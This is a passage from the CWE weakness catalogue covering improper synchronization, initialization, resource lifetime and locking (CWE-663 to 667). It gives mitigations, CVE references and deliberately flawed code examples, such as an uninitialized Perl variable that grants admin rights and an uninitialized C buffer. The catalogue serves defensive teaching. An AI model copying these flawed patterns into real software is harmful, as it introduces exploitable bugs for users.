Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ParentOf	C	667	Improper Locking	1299

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	
Confidentiality	Read Application Data	
Other	Alter Execution Logic	

Potential Mitigations

Phase: Implementation

Use industry standard APIs to synchronize your code.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	745	CERT C Secure Coding Standard (2008) Chapter 12 - Signals (SIG)	734	1889
MemberOf	C	852	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 9 - Visibility and Atomicity (VNA)	844	1906
MemberOf	C	879	CERT C++ Secure Coding Section 11 - Signals (SIG)	868	1919
MemberOf	C	986	SFP Secondary Cluster: Missing Lock	888	1951
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2046
MemberOf	C	1142	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 08. Visibility and Atomicity (VNA)	1133	1988
MemberOf	C	1166	SEI CERT C Coding Standard - Guidelines 11. Signals (SIG)	1154	2000

Notes

Maintenance

Deeper research is necessary for synchronization and related mechanisms, including locks, mutexes, semaphores, and other mechanisms. Multiple entries are dependent on this research, which includes relationships to concurrency, race conditions, reentrant functions, etc. CWE-662 and its children - including CWE-667, CWE-820, CWE-821, and others - may need to be modified significantly, along with their relationships.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	SIG00-C		Mask signals handled by noninterruptible signal handlers
CERT C Secure Coding	SIG31-C	CWE More Abstract	Do not access shared objects in signal handlers

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			State synchronization error
The CERT Oracle Secure Coding Standard for Java (2011)	VNA03-J		Do not assume that a group of calls to independently atomic methods is atomic
Software Fault Patterns	SFP19		Missing Lock

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
25	Forced Deadlock
26	Leveraging Race Conditions
27	Leveraging Race Conditions via Symbolic Links
29	Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions

CWE-663: Use of a Non-reentrant Function in a Concurrent Context

Weakness ID : 663 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software calls a non-reentrant function in a concurrent context in which a competing code sequence (e.g. thread or signal handler) may have an opportunity to call the same function or otherwise influence its state.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	662	Improper Synchronization	1288
ParentOf	V	479	Signal Handler Use of a Non-reentrant Function	1021
ParentOf	V	558	Use of getlogin() in Multithreaded Application	1130
PeerOf	B	1265	Unintended Reentrant Invocation of Non-reentrant Code Via Nested Calls	1802

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	557	Concurrency Issues	1869

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	
Confidentiality	Read Application Data	
Other	Alter Execution Logic	

Potential Mitigations

Phase: Implementation

Use reentrant functions if available.

Phase: Implementation

Add synchronization to your non-reentrant function.

Phase: Implementation

In Java, use the ReentrantLock Class.

Observed Examples

Reference	Description
CVE-2001-1349	unsafe calls to library functions from signal handler *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1349*
CVE-2004-2259	SIGCHLD signal to FTP server can cause crash under heavy load while executing non-reentrant functions like malloc/free. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2259*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	986	SFP Secondary Cluster: Missing Lock	888	1951

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
29	Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions

References

[REF-547]SUN. "Java Concurrency API". < http://java.sun.com/j2se/1.5.0/docs/api/java/util/concurrent/locks/ReentrantLock.html >.

[REF-548]Dipak Jha, Software Engineer, IBM. "Use reentrant functions for safer signal handling". < http://www.ibm.com/developerworks/linux/library/l-reent.html >.

CWE-664: Improper Control of a Resource Through its Lifetime

Weakness ID : 664 **Status:** Draft
Structure : Simple
Abstraction : Pillar

Description

The software does not maintain or incorrectly maintains control over a resource throughout its lifetime of creation, use, and release.

Extended Description

Resources often have explicit instructions on how to be created, used and destroyed. When software does not follow these instructions, it can lead to unexpected behaviors and potentially exploitable states.

Even without explicit instructions, various principles are expected to be adhered to, such as "Do not use an object until after its creation is complete," or "do not use an object after it has been slated for destruction."

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
MemberOf	V	1000	Research Concepts	2045
ParentOf	C	118	Incorrect Access of Indexable Resource ('Range Error')	270
ParentOf	C	221	Information Loss or Omission	511
ParentOf	B	372	Incomplete Internal State Distinction	823
ParentOf	C	400	Uncontrolled Resource Consumption	864
ParentOf	C	404	Improper Resource Shutdown or Release	877
ParentOf	C	405	Asymmetric Resource Consumption (Amplification)	883
ParentOf	B	410	Insufficient Resource Pool	891
ParentOf	B	471	Modification of Assumed-Immutable Data (MAID)	999
ParentOf	B	487	Reliance on Package-level Scope	1038
ParentOf	B	488	Exposure of Data Element to Wrong Session	1040
ParentOf	V	495	Private Data Structure Returned From A Public Method	1059
ParentOf	V	496	Public Data Assigned to Private Array-Typed Field	1061
ParentOf	V	498	Cloneable Class Containing Sensitive Information	1065
ParentOf	V	499	Serializable Class Containing Sensitive Data	1067
ParentOf	B	501	Trust Boundary Violation	1071
ParentOf	V	580	clone() Method Without super.clone()	1166
ParentOf	C	610	Externally Controlled Reference to a Resource in Another Sphere	1213
ParentOf	C	662	Improper Synchronization	1288
ParentOf	C	665	Improper Initialization	1293
ParentOf	C	666	Operation on Resource in Wrong Phase of Lifetime	1298
ParentOf	C	668	Exposure of Resource to Wrong Sphere	1305
ParentOf	C	669	Incorrect Resource Transfer Between Spheres	1307
ParentOf	C	673	External Influence of Sphere Definition	1313
ParentOf	C	704	Incorrect Type Conversion or Cast	1357
ParentOf	C	706	Use of Incorrectly-Resolved Name or Reference	1360
ParentOf	B	749	Exposed Dangerous Method or Function	1377
ParentOf	B	911	Improper Update of Reference Count	1585
ParentOf	C	913	Improper Control of Dynamically-Managed Code Resources	1588
ParentOf	C	922	Insecure Storage of Sensitive Information	1603
ParentOf	C	1229	Creation of Emergent Resource	1745
ParentOf	B	1246	Improper Write Handling in Limited-write Non-Volatile Memories	1769
ParentOf	B	1250	Improper Preservation of Consistency Between Independent Representations of Shared State	1776
ParentOf	B	1272	Debug/Power State Transitions Leak Information	1816
ParentOf	B	1277	Firmware Not Updateable	1825

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Other	

Potential Mitigations

Phase: Testing

Use Static analysis tools to check for unreleased resources.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	984	SFP Secondary Cluster: Life Cycle	888	1951
MemberOf	C	1163	SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)	1154	1999

Notes

Maintenance

More work is needed on this node and its children. There are perspective/layering issues; for example, one breakdown is based on lifecycle phase (CWE-404, CWE-665), while other children are independent of lifecycle, such as CWE-400. Others do not specify as many bases or variants, such as CWE-704, which primarily covers numbers at this stage.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	FIO39-C	CWE More Abstract	Do not alternately input and output from a stream without an intervening flush or positioning call

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
21	Exploitation of Trusted Credentials
60	Reusing Session IDs (aka Session Replay)
61	Session Fixation
62	Cross Site Request Forgery
196	Session Credential Falsification through Forging

CWE-665: Improper Initialization

Weakness ID : 665 **Status:** Draft
Structure : Simple
Abstraction : Class

Description

The software does not initialize or incorrectly initializes a resource, which might leave the resource in an unexpected state when it is accessed or used.

Extended Description

This can have security implications when the associated resource is expected to have certain properties or values, such as a variable that determines whether a user has been authenticated or not.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1291
ParentOf	B	454	External Initialization of Trusted Variables or Data Stores	967
ParentOf	B	455	Non-exit on Failed Initialization	969
ParentOf	B	770	Allocation of Resources Without Limits or Throttling	1422
ParentOf	B	908	Use of Uninitialized Resource	1578
ParentOf	B	909	Missing Initialization of Resource	1581
ParentOf	B	1051	Initialization with Hard-Coded Network Resource Configuration Data	1653
ParentOf	B	1052	Excessive Use of Hard-Coded Literals in Initialization	1654
ParentOf	B	1188	Insecure Default Initialization of Resource	1725
ParentOf	B	1221	Incorrect Register Defaults or Module Parameters	1737
ParentOf	C	1271	Missing Known Value on Reset for Registers Holding Security Settings	1814
ParentOf	B	1279	Cryptographic Primitives used without Successful Self-Test	1829

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ParentOf	B	908	Use of Uninitialized Resource	1578
ParentOf	B	909	Missing Initialization of Resource	1581
ParentOf	B	1188	Insecure Default Initialization of Resource	1725

Weakness Ordinalities

Primary :

Resultant :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory Read Application Data *When reusing a resource such as memory or a program variable, the original contents of that resource may not be cleared before it is sent to an untrusted party.*	
Access Control	Bypass Protection Mechanism *If security-critical decisions rely on a variable having a "0" or equivalent value, and the programming language performs this initialization on behalf of the programmer, then a bypass of security may occur.*	
Availability	DoS: Crash, Exit, or Restart *The uninitialized data may contain values that cause program flow to change in ways that the programmer did not intend. For example, if an uninitialized variable is used as an array index in C, then its previous contents may*	

Scope	Impact	Likelihood
	produce an index that is outside the range of the array, possibly causing a crash or an exit in other environments.	

Detection Methods

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results. Initialization problems may be detected with a stress-test by calling the software simultaneously from a large number of threads or processes, and look for evidence of any unexpected behavior. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Effectiveness = Moderate

Manual Dynamic Analysis

Identify error conditions that are not likely to occur during normal usage and trigger them. For example, run the program under low memory conditions, run with insufficient privileges or permissions, interrupt a transaction before it is completed, or disable connectivity to basic network services such as DNS. Monitor the software for any unexpected behavior. If you trigger an unhandled exception or similar error that was discovered and handled by the application's environment, it may still indicate unexpected conditions that were not handled by the application itself.

Potential Mitigations

Phase: Requirements

Strategy = Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, in Java, if the programmer does not explicitly initialize a variable, then the code could produce a compile-time error (if the variable is local) or automatically initialize the variable to the default value for the variable's type. In Perl, if explicit initialization is not performed, then a default value of undef is assigned, which is interpreted as 0, false, or an equivalent value depending on the context in which the variable is accessed.

Phase: Architecture and Design

Identify all variables and data stores that receive information from external sources, and apply input validation to make sure that they are only initialized to expected values.

Phase: Implementation

Explicitly initialize all your variables and other data stores, either during declaration or just before the first usage.

Phase: Implementation

Pay close attention to complex conditionals that affect initialization, since some conditions might not perform the initialization.

Phase: Implementation

Avoid race conditions (CWE-362) during initialization routines.

Phase: Build and Compilation

Run or compile your software with settings that generate warnings about uninitialized variables or data.

Phase: Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Demonstrative Examples

Example 1:

Here, a boolean initiailized field is consulted to ensure that initialization tasks are only completed once. However, the field is mistakenly set to true during static initialization, so the initialization code is never reached.

Example Language: Java *(bad)*

```
private boolean initialized = true;
public void someMethod() {
    if (!initialized) {
        // perform initialization tasks
        ...
        initialized = true;
    }
```

Example 2:

The following code intends to limit certain operations to the administrator only.

Example Language: Perl *(bad)*

```
$username = GetCurrentUser();
$state = GetStateData($username);
if (defined($state)) {
    $uid = ExtractUserID($state);
}
# do stuff
if ($uid == 0) {
    DoAdminThings();
}
```

If the application is unable to extract the state information - say, due to a database timeout - then the $uid variable will not be explicitly set by the programmer. This will cause $uid to be regarded as equivalent to "0" in the conditional, allowing the original user to perform administrator actions. Even if the attacker cannot directly influence the state data, unexpected errors could cause incorrect privileges to be assigned to a user just by accident.

Example 3:

The following code intends to concatenate a string to a variable and print the string.

Example Language: C *(bad)*

```
char str[20];
strcat(str, "hello world");
printf("%s", str);
```

This might seem innocent enough, but str was not initialized, so it contains random memory. As a result, str[0] might not contain the null terminator, so the copy might start at an offset other than 0. The consequences can vary, depending on the underlying memory.

If a null terminator is found before str[8], then some bytes of random garbage will be printed before the "hello world" string. The memory might contain sensitive information from previous uses, such as a password (which might occur as a result of CWE-14 or CWE-244). In this example, it might not be a big deal, but consider what could happen if large amounts of memory are printed out before the null terminator is found.

If a null terminator isn't found before str[8], then a buffer overflow could occur, since strcat will first look for the null terminator, then copy 12 bytes starting with that location. Alternately, a buffer over-read might occur (CWE-126) if a null terminator isn't found before the end of the memory segment is reached, leading to a segmentation fault and crash.

Observed Examples

Reference	Description
CVE-2001-1471	chain: an invalid value prevents a library file from being included, skipping initialization of key variables, leading to resultant eval injection. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1471*
CVE-2008-3637	Improper error checking in protection mechanism produces an uninitialized variable, allowing security bypass and code execution. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3637*
CVE-2008-4197	Use of uninitialized memory may allow code execution. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4197*
CVE-2008-2934	Free of an uninitialized pointer leads to crash and possible code execution. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2934*
CVE-2007-3749	OS kernel does not reset a port when starting a setuid program, allowing local users to access the port and gain privileges. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3749*
CVE-2008-0063	Product does not clear memory contents when generating an error message, leading to information leak. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0063*
CVE-2008-0062	Lack of initialization triggers NULL pointer dereference or double-free. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0062*
CVE-2008-0081	Uninitialized variable leads to code execution in popular desktop application. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0081*
CVE-2008-3688	chain: Uninitialized variable leads to infinite loop. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3688*
CVE-2008-3475	chain: Improper initialization leads to memory corruption. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3475*
CVE-2008-5021	Composite: race condition allows attacker to modify an object while it is still being initialized, causing software to access uninitialized memory. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5021*
CVE-2005-1036	Permission bitmap is not properly initialized, leading to resultant privilege elevation or DoS. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1036*
CVE-2008-3597	chain: game server can access player data structures before initialization has happened leading to NULL dereference *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3597*
CVE-2009-2692	chain: uninitialized function pointers can be dereferenced allowing code execution *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2692*
CVE-2009-0949	chain: improper initialization of memory can lead to NULL dereference *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0949*
CVE-2009-3620	chain: some unprivileged ioctls do not verify that a structure has been initialized before invocation, leading to NULL dereference *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3620*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	740	CERT C Secure Coding Standard (2008) Chapter 7 - Arrays (ARR)	734	1884
MemberOf	C	742	CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)	734	1886
MemberOf	C	752	2009 Top 25 - Risky Resource Management	750	1893
MemberOf	C	846	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 3 - Declarations and Initialization (DCL)	844	1902
MemberOf	C	874	CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR)	868	1915
MemberOf	C	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	1917
MemberOf	C	962	SFP Secondary Cluster: Unchecked Status Condition	888	1940
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2046
MemberOf	C	1135	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 01. Declarations and Initialization (DCL)	1133	1984

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Incorrect initialization
CERT C Secure Coding	ARR02-C		Explicitly specify array bounds, even if implicitly defined by an initializer
The CERT Oracle Secure Coding Standard for Java (2011)	DCL00-J		Prevent class initialization cycles
Software Fault Patterns	SFP4		Unchecked Status Condition

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
26	Leveraging Race Conditions
29	Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions

References

[REF-436]mercy. "Exploiting Uninitialized Data". 2006 January. < http://www.felinemenace.org/~mercy/papers/UBehavior/UBehavior.zip >.

[REF-437]Microsoft Security Vulnerability Research & Defense. "MS08-014 : The Case of the Uninitialized Stack Variable Vulnerability". 2008 March 1. < http://blogs.technet.com/swi/archive/2008/03/11/the-case-of-the-uninitialized-stack-variable-vulnerability.aspx >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-666: Operation on Resource in Wrong Phase of Lifetime

Weakness ID : 666 **Status:** Draft
Structure : Simple
Abstraction : Class

Description

The software performs an operation on a resource at the wrong phase of the resource's lifecycle, which can lead to unexpected behaviors.

Extended Description

When a developer wants to initialize, use or release a resource, it is important to follow the specifications outlined for how to operate on that resource and to ensure that the resource is in the expected state. In this case, the software wants to perform a normally valid operation, initialization, use or release, on a resource when it is in the incorrect phase of its lifetime.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1291
ParentOf	V	415	Double Free	901
ParentOf	V	593	Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created	1183
ParentOf	B	605	Multiple Binds to the Same Port	1205
ParentOf	C	672	Operation on a Resource after Expiration or Release	1310
ParentOf	B	826	Premature Release of Resource During Expected Lifetime	1525

Common Consequences

Scope	Impact	Likelihood
Other	Other	

Potential Mitigations

Phase: Architecture and Design

Follow the resource's lifecycle from creation to release.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	984	SFP Secondary Cluster: Life Cycle	888	1951
MemberOf	C	1162	SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)	1154	1998
MemberOf	C	1163	SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)	1154	1999

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	FIO46-C	CWE More Abstract	Do not access a closed file
CERT C Secure Coding	MEM30-C	CWE More Abstract	Do not access freed memory

CWE-667: Improper Locking

Weakness ID : 667 **Status:** Draft
Structure : Simple
Abstraction : Class

Description

The software does not properly acquire or release a lock on a resource, leading to unexpected resource state changes and behaviors.

Extended Description

Locking is a type of synchronization behavior that ensures that multiple independently-operating processes or threads do not interfere with each other when accessing the same resource. All processes/threads are expected to follow the same steps for locking. If these steps are not followed precisely - or if no locking is done at all - then another process/thread could modify the shared resource in a way that is not visible or predictable to the original process. This can lead to data or memory corruption, denial of service, etc.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	662	Improper Synchronization	1288
ParentOf	B	412	Unrestricted Externally Accessible Lock	893
ParentOf	B	413	Improper Resource Locking	896
ParentOf	B	414	Missing Lock Check	900
ParentOf	B	609	Double-Checked Locking	1211
ParentOf	B	764	Multiple Locks of a Critical Resource	1413
ParentOf	B	765	Multiple Unlocks of a Critical Resource	1414
ParentOf	B	832	Unlock of a Resource that is not Locked	1542
ParentOf	B	833	Deadlock	1543
ParentOf	B	1232	Improper Lock Behavior After Power State Transition	1748
ParentOf	B	1233	Improper Hardware Lock Protection for Security Sensitive Controls	1750
ParentOf	B	1234	Hardware Internal or Debug Modes Allow Override of Locks	1751

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	662	Improper Synchronization	1288

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (CPU) *Inconsistent locking discipline can lead to deadlock.*	

Potential Mitigations

Phase: Implementation

Strategy = Libraries or Frameworks

Use industry standard APIs to implement locking mechanism.

Demonstrative Examples

Example 1:

In the following Java snippet, methods are defined to get and set a long field in an instance of a class that is shared across multiple threads. Because operations on double and long are nonatomic in Java, concurrent access may cause unexpected behavior. Thus, all operations on long and double fields should be synchronized.

Example Language: Java *(bad)*

```
private long someLongValue;
public long getLongValue() {
    return someLongValue;
}
public void setLongValue(long l) {
    someLongValue = l;
}
```

Example 2:

This code tries to obtain a lock for a file, then writes to it.

Example Language: PHP *(bad)*

```
function writeToLog($message){
    $logfile = fopen("logFile.log", "a");
    //attempt to get logfile lock
    if (flock($logfile, LOCK_EX)) {
        fwrite($logfile,$message);
        // unlock logfile
        flock($logfile, LOCK_UN);
    }
    else {
        print "Could not obtain lock on logFile.log, message not recorded\n";
    }
}
fclose($logFile);
```

PHP by default will wait indefinitely until a file lock is released. If an attacker is able to obtain the file lock, this code will pause execution, possibly leading to denial of service for other users. Note that in this case, if an attacker can perform an flock() on the file, they may already have privileges to destroy the log file. However, this still impacts the execution of other programs that depend on flock().

Example 3:

The following function attempts to acquire a lock in order to perform operations on a shared resource.

Example Language: C *(bad)*

```
void f(pthread_mutex_t *mutex) {
    pthread_mutex_lock(mutex);
    /* access shared resource */
    pthread_mutex_unlock(mutex);
}
```

However, the code does not check the value returned by pthread_mutex_lock() for errors. If pthread_mutex_lock() cannot acquire the mutex for any reason the function may introduce a race condition into the program and result in undefined behavior.

In order to avoid data races correctly written programs must check the result of thread synchronization functions and appropriately handle all errors, either by attempting to recover from them or reporting it to higher levels.

Example Language: *(good)*

```
int f(pthread_mutex_t *mutex) {
    int result;
    result = pthread_mutex_lock(mutex);
    if (0 != result)
        return result;
    /* access shared resource */
    return pthread_mutex_unlock(mutex);
}
```

Example 4:

It may seem that the following bit of code achieves thread safety while avoiding unnecessary synchronization...

Example Language: Java *(bad)*

```
if (helper == null) {
    synchronized (this) {
        if (helper == null) {
            helper = new Helper();
        }
    }
}
return helper;
```

The programmer wants to guarantee that only one Helper() object is ever allocated, but does not want to pay the cost of synchronization every time this code is called.

Suppose that helper is not initialized. Then, thread A sees that helper==null and enters the synchronized block and begins to execute:

Example Language: *(bad)*

```
helper = new Helper();
```

If a second thread, thread B, takes over in the middle of this call and helper has not finished running the constructor, then thread B may make calls on helper while its fields hold incorrect values.

Observed Examples

Reference	Description
CVE-2009-0935	Attacker provides invalid address to a memory-reading function, causing a mutex to be unlocked twice *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0935*
CVE-2010-4210	function in OS kernel unlocks a mutex that was not previously locked, causing a panic or overwrite of arbitrary memory. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4210*
CVE-2008-4302	Chain: OS kernel does not properly handle a failure of a function call (CWE-755), leading to an unlock of a resource that was not locked (CWE-832), with resultant crash. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4302*
CVE-2009-1243	OS kernel performs an unlock in some incorrect circumstances, leading to panic. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1243*
CVE-2009-2857	OS deadlock *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2857*
CVE-2009-1961	OS deadlock involving 3 separate functions *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1961*

Reference	Description
CVE-2009-2699	deadlock in library *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2699*
CVE-2009-4272	deadlock triggered by packets that force collisions in a routing table *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4272*
CVE-2002-1850	read/write deadlock between web server and script *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1850*
CVE-2004-0174	web server deadlock involving multiple listening connections *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0174*
CVE-2009-1388	multiple simultaneous calls to the same function trigger deadlock. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1388*
CVE-2006-5158	chain: other weakness leads to NULL pointer dereference (CWE-476) or deadlock (CWE-833). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5158*
CVE-2006-4342	deadlock when an operation is performed on a resource while it is being removed. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4342*
CVE-2006-2374	Deadlock in device driver triggered by using file handle of a related device. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2374*
CVE-2006-2275	Deadlock when large number of small messages cannot be processed quickly enough. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2275*
CVE-2005-3847	OS kernel has deadlock triggered by a signal during a core dump. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3847*
CVE-2005-3106	Race condition leads to deadlock. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3106*
CVE-2005-2456	Chain: array index error (CWE-129) leads to deadlock (CWE-833) *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2456*
CVE-2001-0682	Program can not execute when attacker obtains a mutex. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0682*
CVE-2002-1914	Program can not execute when attacker obtains a lock on a critical output file. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1914*
CVE-2002-1915	Program can not execute when attacker obtains a lock on a critical output file. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1915*
CVE-2002-0051	Critical file can be opened with exclusive read access by user, preventing application of security policy. Possibly related to improper permissions, large-window race condition. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0051*
CVE-2000-0338	Chain: predictable file names used for locking, allowing attacker to create the lock beforehand. Resultant from permissions and randomness. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0338*
CVE-2000-1198	Chain: Lock files with predictable names. Resultant from randomness. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1198*
CVE-2002-1869	Product does not check if it can write to a log file, allowing attackers to avoid logging by accessing the file using an exclusive lock. Overlaps unchecked error condition. This is not quite CWE-412, but close. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1869*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	748	CERT C Secure Coding Standard (2008) Appendix - POSIX (POS)	734	1891
MemberOf	C	852	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 9 - Visibility and Atomicity (VNA)	844	1906
MemberOf	C	853	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 10 - Locking (LCK)	844	1906
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	986	SFP Secondary Cluster: Missing Lock	888	1951
MemberOf	C	1131	CISQ Quality Measures - Security	1128	1981
MemberOf	C	1142	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 08. Visibility and Atomicity (VNA)	1133	1988
MemberOf	C	1143	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 09. Locking (LCK)	1133	1988
MemberOf	C	1169	SEI CERT C Coding Standard - Guidelines 14. Concurrency (CON)	1154	2001
